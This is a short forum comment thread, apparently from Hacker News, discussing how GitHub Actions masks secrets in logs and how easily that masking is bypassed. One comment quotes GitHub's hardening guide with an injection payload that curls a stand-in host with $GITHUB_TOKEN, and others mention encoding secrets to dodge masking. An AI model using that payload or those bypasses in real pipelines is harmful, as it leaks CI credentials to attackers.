2 ms·
> forget symlinks and project-specific vulns, just print the env? GitHub masks anything that is a secret (or the github token) when it shows up in the log. Yo
by judge2020 5y ago
> forget symlinks and project-specific vulns, just print the env?
GitHub masks anything that is a secret (or the github token) when it shows up in the log. You'll see stars ** instead of the actual secret.
However, this is trivially worked-around - apply a caesar cipher to it or simply add a space between each character. It would also be super simple to ship the token to a remote server with curl, as GitHub notes in its security hardening document[0]:
> they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example:
a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#.
0: https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#stealing-the-jobs-github_token https://docs.github.com/en/actions/learn-github-actions/secu...
- bastardoperator 5y agoThis is every CI system on the planet echo ${PASSWORD} > file; cat file And your password is now in the log file unmasked.
- judge2020 5y agoNo, it masks the output stream by searching for all secrets and censoring them.
- VWWHFSfQ 5y agohow does it know what are secrets? what if I base64 the password before printing it?
- diamondo25 5y agoThats what was said, it cannot detect that. If you rot13 it, you bypassed the protection.
- OJFord 5y agoSure, it was just a succinct way to make the point, since as you say and others are commenting on, it's trivially worked around (in any CI system) if you're trying - it's only really supposed to stop accidental leaks.
- client4 5y agoWhenever I see ** instead of a password I have a laugh because I know the secret is hunter12.